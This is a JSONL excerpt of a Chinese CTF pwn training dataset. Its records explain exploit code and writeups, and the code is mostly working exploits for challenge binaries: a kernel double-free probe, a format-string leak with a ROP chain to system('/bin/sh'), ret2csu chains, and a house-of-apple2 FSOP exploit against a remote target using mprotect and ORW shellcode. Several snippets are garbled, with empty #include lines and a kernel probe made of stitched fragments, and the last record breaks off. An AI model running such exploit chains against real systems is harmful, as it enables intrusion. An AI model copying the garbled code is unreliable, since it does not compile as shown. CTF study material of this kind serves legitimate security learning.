{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-7778313a454f2d02a586", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/2026d3ctf-d3kheap2pro/xcache_probe.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/2026d3ctf-d3kheap2pro/xcache_probe.c`\n\n分类：kernel\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n\n函数/封装：\n- `alloc_range`\n- `alloc_slot`\n- `d_ioctl`\n- `die`\n- `drop_caches`\n- `fault_handler`\n- `free_range_once`\n- `free_range_twice`\n- `free_slot`\n- `install_fault_handlers`\n- `main`\n- `mode_drain`\n- `mode_group_drain`\n- `mode_pte_realloc_scan`\n- `mode_recycle`\n- `mode_second_free`\n- `mode_second_free_scan`\n- `mode_stats`\n- `mode_targeted_scan`\n- `msg`\n\n利用主题关键词：\n- io-file/fsop\n- seccomp/orw\n- kernel\n- stack/rop\n\n关键常量/偏移样例：\n`0x3361626e`, `0x74747261`\n\n训练用代码片段：\n```c\n#define _GNU_SOURCE\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#define DEV_PATH  \"/proc/d3kheap2pro\"\n#define CMD_ALLOC 0x3361626eU\n#define CMD_FREE  0x74747261U\n#define NSLOTS    512\n#define TWO_MB    (2UL * 1024 * 1024)\n\nstruct req { size_t idx; };\nstruct slabstat {\n    unsigned long active_objs, num_objs, objsize, objs_per_slab, pages_per_slab;\n    unsigned long active_slabs, num_slabs, shared_avail;\n};\n\nstatic int fd = -1;\nstatic int g_spray_ptes = 256;\nstatic int g_target_start = 176;\nstatic volatile unsigned char *g_spray = NULL;\nstatic size_t g_spray_len = 0;\nstatic sigjmp_buf g_jmp;\nstatic volatile sig_atomic_t g_faulted = 0;\n\nstatic void msg(const char *fmt, ...) {\n    va_list ap;\n    va_start(ap, fmt);\n    vfprintf(stdout, fmt, ap);\n    fputc('\\n', stdout);\n    fflush(stdout);\n    va_end(ap);\n}\n\nstatic void die(const char *fmt, ...) {\n    va_list ap;\n    va_start(ap, fmt);\n    fprintf(stderr, \"[-] \");\n    vfprintf(stderr, fmt, ap);\n    fprintf(stderr, \": %s\\n\", strerror(errno));\n    va_end(ap);\n    exit(1);\n}\n\nstatic void pin_cpu(int cpu) {\n    cpu_set_t set;\n    CPU_ZERO(&set);\n    CPU_SET(cpu, &set);\n    if (sched_setaffinity(0, sizeof(set), &set) != 0)\n        perror(\"sched_setaffinity\");\n}\n\nstatic void open_dev(void) {\n    fd = open(DEV_PATH, O_RDONLY);\n    if (fd < 0) die(\"open %s\", DEV_PATH);\n}\n\nstatic long d_ioctl(unsigned int cmd, size_t idx) {\n    struct req r = { .idx = idx };\n    errno = 0;\n    return ioctl(fd, cmd, &r);\n}\nstatic long alloc_slot(size_t idx) { return d_ioctl(CMD_ALLOC, idx); }\nstatic long free_slot(size_t idx)  { return d_ioctl(CMD_FREE, idx); }\n\nstatic int read_slab(struct slabstat *st) {\n    FILE *fp = fopen(\"/proc/slabinfo\", \"r\");\n    if (!fp) return -1;\n    char line[1024];\n    memset(st, 0, sizeof(*st));\n    while (fgets(line, sizeof(line), fp)) {\n        if (strncmp(line, \"d3kheap2pro_cache\", strlen(\"d3kheap2pro_cache\")) != 0) continue;\n        int n = sscanf(line,\n            \"d3kheap2pro_cache %lu %lu %lu %lu %lu : tunables %*u %*u %*u : slabdata %lu %lu %lu\",\n            &st->active_objs, &st->num_objs, &st->objsize, &st->objs_per_slab,\n            &st->pages_per_slab, &st->active_slabs, &st->num_slabs, &st->shared_avail);\n        fclose(fp);\n\n# ... 中间内容省略，保留关键利用片段 ...\n\nstatic void free_range_once(int lo, int hi) {\n        long r = free_slot(i);\n    msg(\"[free1] [%d,%d) ok=%d fail=%d\", lo, hi, ok, fail);\nstatic void free_range_twice(int lo, int hi) {\n        long r = free_slot(i);\n    msg(\"[free2] [%d,%d) ok=%d fail=%d\", lo, hi, ok, fail);\n    free_range_once(0, NSLOTS);\n    print_slab(\"after_free512_once\");\n    free_range_once(0, NSLOTS);\n    print_slab(\"after_free512_once\");\nstatic void mode_second_free(void) {\n    free_range_once(0, NSLOTS);\n    print_slab(\"after_free512_once\");\n    print_slab(\"before_second_free\");\n    msg(\"[!] triggering second frees on stale slots; crash here is useful signal\");\n    free_range_twice(0, NSLOTS);\n    print_slab(\"after_second_free\");\n        free_range_once(g * 16, g * 16 + 16);\n        snprintf(tag, sizeof(tag), \"after_free_group_%02d\", g);\n    free_range_once(0, NSLOTS);\n    print_slab(\"after_free512_once\");\n    print_slab(\"before_targeted_second_free\");\n    msg(\"[!] second-free stale slots [%d,%d), expected returned-slab range starts around 176 on SMP4\", g_target_start, NSLOTS);\n    free_range_twice(g_target_start, NSLOTS);\n    print_slab(\"after_targeted_second_free\");\nstatic void mode_second_free_scan(void) {\n    free_range_once(0, NSLOTS);\n    print_slab(\"after_free512_once\");\n    print_slab(\"before_second_free\");\n    msg(\"[!] triggering second frees, then scanning sprayed PTE-backed pages\");\n    free_range_twice(0, NSLOTS);\n    print_slab(\"after_second_free\");\n    msg(\"[pte-realloc] used_slots=%d second_free=[%d,%d) fresh_alloc=[%d,%d) spray=%d\", used, second_start, used, used, NSLOTS, g_spray_ptes);\n    free_range_once(0, used);\n    print_slab(\"after_free_used_once\");\n    msg(\"[!] second-free stale slots that may now point into recycled PTE pages\");\n    free_range_twice(second_start, used);\n    print_slab(\"after_second_free_stale\");\n    msg(\"[scan-before-alloc] checking PTE spray immediately after second-free\");\n    msg(\"[!] fresh alloc unused slots to pull freed objects back and trigger init_on_alloc zeroing\");\n    fprintf(stderr, \"Usage: %s stats|drain|group-drain|recycle|second-free|second-free-scan|targeted-scan|pte-realloc-scan [spray_pte_pages] [start_or_used_slots]\\n\", p);\n    else if (!strcmp(m, \"second-free\")) mode_second_free();\n    else if (!strcmp(m, \"second-free-scan\")) mode_second_free_scan();\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-f6e29ce79468da0b", "original_line": 295, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/xcache_probe.c", "split": "train", "split_group_key": "fb187bafec262025dbec0586"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/xcache_probe.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-77ae71f0a74ea9619079", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「2. 泄漏 libc base」。\n资料来源：IO-FILE/[CISCN 2022 华东北]duck/WP.md；主题：[CISCN 2022 华东北] duck - Pwn Writeup；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 2. 泄漏 libc base\n\n继续申请 9 个 `0x100` chunk，然后释放 index 1~8：\n\n```python\nfor i in range(9):\n    add()\nfor i in range(1, 9):\n    dele(i)\n```\n\n0x110 大小的 tcache bin 默认最多缓存 7 个 chunk。释放第 8 个同尺寸 chunk 时，tcache 已满，该 chunk 会进入 unsorted bin。\n\n因此 `show(8)` 可以泄漏 unsorted bin 的 `fd`，也就是 main_arena 附近地址：\n\n```python\nshow(8)\nlibc_base = leak - 0x1f2cc0\n```\n\n原 exp 中使用的偏移是：\n\n```python\nlibc_addr = u64(r(6).ljust(8, b\"\\x00\")) - 0x1f2cc0\n```\n\n---", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-ea0272445d0043a3", "original_line": 188, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/[CISCN 2022 华东北]duck/WP.md", "split": "train", "split_group_key": "8a82ea35d8808d6caff7e707"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/[CISCN 2022 华东北]duck/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-781ca1c7191fa869a714", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `其它漏洞/格式化字符串/2025hgame format/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`其它漏洞/格式化字符串/2025hgame format/exp.py`\n\n分类：misc_vuln\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `dbg`\n\n利用主题关键词：\n- seccomp/orw\n\n关键常量/偏移样例：\n`0x19c`, `0x29ca8`, `0x4012CF`, `0x7fffffffd080`, `0x7fffffffd21c`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('vuln')\nio = process([elf.path])\nlibc=elf.libc\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n\nsla(b'= ',b'1')\nsla(b':',b'%p')\nru(b'you type: ')\n#泄露地址+格式化字符串参数地址\nstack=int16(r(14))+0x19c\nlg('stack',stack)\n\nsla(b'= ',b'-1')\n# rbp 的地址为 %9$p 的地址\npayload= b'a%9$p'+p64(stack+0x10)+p64(0x4012CF)\n# read写入的栈地址0x7fffffffd21c，泄露的栈地址0x7fffffffd080\n# 所以偏移0x3c\ns(payload)\n#dbg()\nru(b'type something:')\nlibc.address=int16(r(14))-0x29ca8\nlg('libc.address',libc.address)\n\npop_rdi=libc.search(asm('pop rdi; ret')).__next__()\nret=elf.search(asm('ret')).__next__()\nsh=libc.search(b'/bin/sh\\x00').__next__()\npay=b'a'*12+p64(ret)+p64(pop_rdi)+p64(sh)+p64(libc.sym.system)\n\nsa(b'type something:',pay)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-code-49e7a47a70bdc9af", "original_line": 453, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/2025hgame format/exp.py", "split": "train", "split_group_key": "cdb780ccf7d8d891e8e4c16b"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/2025hgame format/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-786d0cd99b9bb2f1d55a", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「last remainder」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### last remainder\n\n在用户使用`malloc`请求分配内存时，ptmalloc2 找到的`chunk`可能并不和申请的内存大小一致，这时候就将剩余部分称之为`last remainder chunk`，`unsortbin`也会存这一块。`top chunk`分割剩下的部分不会作为`last_remainder`。\n\nMmaped chunk\n\n+ 当需要分配的chunk足够大，而且fast bins和bins都不能满足要求，甚至top chunk本身也不能满足分配需求时，ptmalloc会使用mmap来直接使用内存映射来将页映射到进程空间。\n+ 这样分配的chunk在被free时将直接解除映射，于是就将内存归还给了操作系统，再次对这样的内存区的引用（UAF）将导致segmentation fault错误。\n+ Main_arena有个mmap threshold分配阈值，初始默认为128KB。若请求分配小于阈值，而当前heap空间不够，则用sbrk()增大heap。如果请求超过阈值，或者sbrk()失败了，就用mmap映射一块内存。\n+ Mmap分配阈值动态调整机制。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-2140ec77981244ce", "original_line": 62, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-78899d640d52a088a221", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「2.2 菜单功能」。\n资料来源：IO-FILE/house of apple2/2024ylb futureheap/WP.md；主题：2024ylb futureheap WP；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 2.2 菜单功能\n\n程序有 3 个普通功能和 1 个隐藏功能：\n\n```text\n1. build(idx, size)\n2. fix(idx, content)\n3. drop(idx)\n4. _fix(password, content)    # 隐藏功能，向 fortune 写数据\n```\n\n`build` 限制：\n\n```c\n0 <= idx <= 5\n0x500 < size <= 0x700\nwheel[idx] = malloc(size);\n```\n\n`fix`：\n\n```c\nif (wheel[idx] && 0 <= idx <= 5) {\n    read(0, wheel[idx], 0x500);\n    fixC--;\n}\n```\n\n`drop`：\n\n```c\nif (wheel[idx] && 0 <= idx <= 5) {\n    free(wheel[idx]);\n    // 没有清空 wheel[idx]\n}\n```\n\n这里存在典型 UAF：`drop` 释放后没有置空，后续还能通过 `fix` 往 freed chunk 写入数据。\n\n隐藏函数 `_fix` 先读入一段字符串，经自定义 base64 表编码后与常量比较：\n\n```text\n目标字符串: bMeNgmvPv)oNzp==\n正确口令:   74r0t#C@rd\n```\n\n验证通过后：\n\n```c\nread(0, fortune, 0x500);\nfixC--;\n```\n\n`fixC` 初始为 3，三次写入机会用完后，再选择菜单 `2` 或 `4` 会触发 `exit(0)`。", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-93829fb2d256e9f7", "original_line": 206, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024ylb futureheap/WP.md", "split": "train", "split_group_key": "8872b8a958dc5167d996bedd"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024ylb futureheap/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-78b84c078501046bd88c", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「例题」。\n资料来源：stack.md；主题：栈利用；分类：stack。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 例题\n\n> [NewStarCTF 公开赛赛道]ret2csu1\n\n+ 分析\n\n拿到程序，先查保护。\n\n```\n    Arch:       amd64-64-little\n    RELRO:      Partial RELRO\n    Stack:      No canary found\n    NX:         NX enabled\n    PIE:        No PIE (0x400000)\n```\n\n发现开启了`NX`保护和`Partial RELRO`保护。\n\n分析程序逻辑。\n\n输出两串字符串，并向栈中写入 0x70 长度的数据。\n\n根据栈大小比较，判断存在栈溢出。\n\n[图片: image][图片: image]\n\n\ngdb测一下，判断溢出填充长度为 40。\n\n[图片: image][图片: image]\n\n字符串列表，发现`/bin/cat`和`flag`关键字符串，但并没有发现`system`函数。\n\n[图片: image][图片: image]\n\n函数窗口发现关键函数`ohMyBackdoor`，判断可能为后门函数。\n\n[图片: image][图片: image]\n\n发现关键汇编指令`syscall`，以及设置`rax`值为 0x3b 的`mov rax,0x3b`指令。\n\n[图片: image][图片: image]\n\n\n根据题目名称中的 ret2csu 判断为 ret2csu 打法，并且根据将寄存器置为 0x3b 的指令判断是通过 ret2csu 打 syscall。\n\n我们需要通过执行`libc_csu_init`函数中的 gadget 来设置寄存器值，但是我们只需要调用一个函数，所以我们不需要添加后面的`padding`和`last`。\n\n通过`csu`函数来设置寄存器值，然后调用中断地址进行 getshell。\n\n+ exp\n\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\noff=40\ngadget1=0x40072a\ngadget2=0x400710\nsyscall=0x601068\ncat=0x4007bb\nflag=0x601050\n\npayload=b'a'*off\npayload+=p64(gadget1)+p64(0)+p64(0)+p64(syscall)+p64(cat)+p64(flag)+p64(0)\npayload+=p64(gadget2)\n\nsa(\"it!\\n\",payload)\n\nia()\n```\n\n>2024极客大挑战 su~~~~\n\n+ 分析\n\n查保护，发现没有`canary`和`PIE`保护。\n\n```\n    Arch:       amd64-64-little\n    RELRO:      Partial RELRO\n    Stack:      No canary found\n    NX:         NX enabled\n    PIE:        No PIE (0x400000)\n```\n\n分析代码逻辑。\n\n程序输入一个数字进行菜单选择。\n\n首先我们跟进`hint`函数查看。\n\n[图片: image][图片: image]\n\n`hint`函数用于输出了一段字符串。\n\n[图片: image][图片: image]\n\n继续分析`writesomething`函数。\n\n很明显这里存在溢出，并且溢出了 368 个字节。\n\n接下来我们寻找`system`函数。\n\n[图片: image][图片: image]\n\n并没有找到`system`函数，但是找到了`puts`函数，并且程序还存在`csu`函数。\n\n到了这里思路已经很清晰了，我们可以通过`csu`调用`puts`函数进行 ret2libc。\n\n[图片: image][图片: image]\n\n+ exp\n\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\nlibc: ELF = gift.libc\n\ngadget1=0x4008FA\ngadget2=0x4008E0\nrdi=0x0000000000400903\nret=0x00000000004005d6\noff=136\n\nru(\"exit.\\n\")\nsl(b\"1\")\n\ndef csu(addr,edi,rsi,rdx,last):\n    #用于溢出的padding\n    payload=off*b'a'\n    #gadget1\n    payload+=p64(gadget1)\n    #rbx=0，rbp=1\n    payload+=p64(0)+p64(1)\n    #设置r12寄存器地址，即call调用的地址\n    payload+=p64(addr)\n    #参数3、参数2、参数1\n    #r13、r14、r15\n    payload+=p64(edi)+p64(rsi)+p64(rdx)\n    #gadget2\n    payload+=p64(gadget2)\n    #pop出的padding\n    payload+=b'a'*56\n    #函数最后的返回地址\n    payload+=p64(last)\n    return payload\n\npayload=csu(elf.got.puts,elf.got.puts,elf.got.puts,8,0x400798)\n\nsl(payload)\naddr=u64(ru(b'\\x7f')[-6:].ljust(8,b'\\x00'))\nprint(\"puts\",hex(addr))\nbase=addr-libc.sym.puts\nprint(\"base\",hex(base))\nsys=base+libc.sym.system\nprint(\"sys\",hex(sys))\nsh=base+next(libc.search(\"/bin/sh\\x00\"))\nprint(\"sh\",hex(sh))\n\npayload=b'a'*off+p64(rdi)+p64(sh)+p64(ret)+p64(sys)\nsl(payload)\n\nia()\n```\n\n\n>[NewStarCTF 公开赛赛道]ret2csu2\n\n+ 分析\n\n查保护，发现没有栈溢出和 PIE 保护。\n\n```\n    Arch:       amd64-64-little\n    RELRO:      Full RELRO\n    Stack:      No canary found\n    NX:         NX enabled\n    PIE:        No PIE (0x400000)\n```\n\n分析代码逻辑。\n\n两次输出，一次输入。输入长度超过缓冲区大小，判断存在栈溢出。\n\n并且函数都是通过系统调用执行的。\n\n[图片: image][图片: image]\n\n函数窗口发现关键函数\n\n[图片: image][图片: image]\n\n进入查看，发现`mprotect`函数。\n\n[图片: image][图片: image]\n\n格式化字符串窗口没发现什么有用的东西。\n\n[图片: image][图片: image]\n\n根据题目名称，猜测是要我们打`csu`，而且存在`mprotect`函数，所以到这里思路已经很明显了。\n\n我们可以通过`read`函数读取 rop 链到`bss`段，之后将栈迁移到`bss`段执行 rop 链。\n\n+ exp\n\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\nlibc: ELF = gift.libc\n\nmprotect_got=elf.got.mprotect\nleave_ret=0x400681\ngadget1=0x40075A\ngadget2=0x400740", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 34, "ctf_task_type": "pwn", "original_id": "pwn101-doc-c369dea25ee18db7", "original_line": 610, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "split_group_key": "5d29b793664b20592ba25f84"}, "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-78b95914891fe19336de", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `IO-FILE/house of apple2/2025hgame where is the vulnerability/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`IO-FILE/house of apple2/2025hgame where is the vulnerability/exp.py`\n\n分类：io_file\n\n语言：python\n\n环境/依赖线索：\n- `from __future__ import annotations`\n- `import os`\n- `import sys`\n- `from typing import Optional`\n- `from pwn import *`\n\n函数/封装：\n- `_positional_remote`\n- `add`\n- `build_fake_file_payload`\n- `build_orw_shellcode`\n- `delete`\n- `edit`\n- `exit_menu`\n- `exploit`\n- `leak_u64`\n- `off`\n- `sa`\n- `selftest`\n- `show`\n- `sl`\n- `sla`\n- `start`\n\n利用主题关键词：\n- heap/tcache\n- uaf/double-free\n- io-file/fsop\n- seccomp/orw\n- stack/rop\n\n关键常量/偏移样例：\n`0x100`, `0x138`, `0x1C0`, `0x1E0`, `0x200`, `0x268`, `0x290`, `0x300`, `0x380`, `0x400`, `0x518`, `0x528`, `0x530`, `0x600`, `0x900`, `0xDD0`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nExploit for 2025 HGAME - where is the vulnerability\n\nVulnerability: UAF in libhgame.so note manager. delete_note() frees a note but\nkeeps notes[index] and note_size[index], so edit/show can still access freed\nlarge chunks.  The exploit uses:\n  1. UAF show on an unsorted-bin chunk to leak libc;\n  2. UAF show after large-bin placement to leak heap;\n  3. large-bin attack to overwrite _IO_list_all;\n  4. fake _IO_FILE + _IO_wfile_jumps + full setcontext(fp) to pivot to ROP;\n  5. mprotect(heap, ..., RWX), then ORW shellcode for /flag.\n\nUsage:\n  python3 exp.py                 # local, using bundled ld/libc/libhgame\n  python3 exp.py REMOTE          # remote default HOST/PORT below\n  python3 exp.py HOST=ip PORT=port REMOTE\n  python3 exp.py     # positional remote shortcut\n  python3 exp.py SELFTEST        # only validate payload/gadget construction\n  python3 exp.py FLAG=./flag     # local ORW test path; default is /flag\n  python3 exp.py LOG=debug\n\"\"\"\n\nfrom __future__ import annotations\n\nimport os\nimport sys\nfrom typing import Optional\n\nfrom pwn import *\n\n\nBIN_PATH = \"./vuln\"\nLIBC_PATH = \"./libc.so.6\"\nLD_PATH = \"./ld-linux-x86-64.so.2\"\nLIB_DIR = \".\"\n\nDEFAULT_HOST = \"TARGET_IP\"\nDEFAULT_PORT = 32230\n\ncontext.binary = elf = ELF(BIN_PATH, checksec=False)\nlibc = ELF(LIBC_PATH, checksec=False)\ncontext.arch = \"amd64\"\ncontext.os = \"linux\"\ncontext.log_level = args.LOG or \"info\"\n\n# Offsets tied to the bundled libc.so.6.\nUNSORTED_BIN_LEAK_OFF = 0x203B20\nHEAP_LEAK_OFF = 0x290\nFAKE_FILE_OFF = 0xDD0\n# main_arena offsets for the bundled Ubuntu GLIBC 2.39.\nMAIN_ARENA_UNSORTED_OFF = UNSORTED_BIN_LEAK_OFF\nLARGEBIN_0X530_BIN_HEAD_OFF = MAIN_ARENA_UNSORTED_OFF + (68 - 1) * 0x10\nCHUNK0_HDR_OFF = HEAP_LEAK_OFF\n\nRET_OFF = 0x000000000002882F\nPOP_RDI_OFF = 0x000000000010F75B\nPOP_RSI_OFF = 0x0000000000110A4D\nMOV_RDX_RBX_POP_RBX_R12_RBP_OFF = 0x00000000000B0123\nADD_RSP_0X38_RET_OFF = 0x000000000012DF8A\n\n\ndef _positional_remote() -> Optional[tuple[str, int]]:\n    \"\"\"Support `python3 exp.py host port` in addition to pwntools args.\"\"\"\n    plain = []\n    for item in sys.argv[1:]:\n        if item.startswith(\"-\") or \"=\" in item:\n            continue\n        if item.upper() in {\"REMOTE\", \"LOCAL\", \"GDB\", \"DEBUG\", \"SELFTEST\"}:\n            continue\n        plain.append(item)\n    if len(plain) >= 2:\n        return plain[0], int(plain[1], 0)\n    return None\n\n\ndef start():\n    remote_pair = _positional_remote()\n    use_remote = bool(args.REMOTE or args.R or remote_pair)\n\n    if use_remote:\n        host = args.HOST or (remote_pair[0] if remote_pair else DEFAULT_HOST)\n        port = int(args.PORT or (remote_pair[1] if remote_pair else DEFAULT_PORT))\n        return remote(host, port)\n\n    argv = [LD_PATH, \"--library-path\", LIB_DIR, BIN_PATH]\n    env = os.environ.copy()\n    env[\"LD_LIBRARY_PATH\"] = LIB_DIR\n\n\n# ... 中间内容省略，保留关键利用片段 ...\n\ndef delete(index: int):\ndef edit(index: int, content: bytes):\ndef show(index: int):\ndef build_orw_shellcode(heap_base: int, flag_path: bytes = b\"/flag\") -> bytes:\n        raise ValueError(\"inline shellcode path must be <= 8 bytes\")\n    # _IO_list_all is overwritten with the malloc chunk header address of note 2.\n    # edit(2, ...) writes at chunk_header + 0x10, so every FILE-relative offset\n    shellcode_addr = fake_file + 0x400\n    mprotect = libc_base + libc.sym[\"mprotect\"]\n    io_wfile_jumps = libc_base + libc.sym[\"_IO_wfile_jumps\"]\n    shellcode = build_orw_shellcode(heap_base, flag_path)\n    # _IO_flush_all -> _IO_wfile_overflow(fp, EOF)\n    #   -> _IO_wdoallocbuf(fp)\n        p64(mprotect),\n        p64(shellcode_addr),\n            # FILE fields.  _IO_write_base(0x20)=0 and _IO_write_ptr(0x28)=1\n            # satisfy the flush condition in _IO_flush_all.\n            # the wide_data fields that must remain zero for _IO_wdoallocbuf.\n            off(0x400): shellcode,\n        \"mprotect\": test_libc + libc.sym[\"mprotect\"],\n        \"_IO_list_all\": libc.sym[\"_IO_list_all\"],\n        \"_IO_wfile_jumps\": libc.sym[\"_IO_wfile_jumps\"],\n    # 1) Shape heap and leak libc from freed large chunk 0 in unsorted bin.\n    delete(0)\n    show(0)\n    # Move chunk 0 into large bin, then leak a heap pointer left in the freed chunk.\n    edit(0, b\"a\" * 0x10)\n    show(0)\n    # chunk0, malloc performs `chunk0->bk_nextsize->fd_nextsize = victim`,\n    # i.e. `*(_IO_list_all) = victim`.\n    io_list_all = libc_base + libc.sym[\"_IO_list_all\"]\n    edit(\n    delete(2)\n    # 3) Build fake _IO_FILE in the still-dangling chunk 2, then exit to trigger\n    # _IO_flush_all_lockp() over the overwritten _IO_list_all chain.\n    edit(2, fake_payload)\n```", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-code-f928688cbeae971d", "original_line": 158, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2025hgame where is the vulnerability/exp.py", "split": "train", "split_group_key": "22b6c219e9399d9534ec0693"}, "source_dataset": "pwn101_distilled_v1", "source_path": 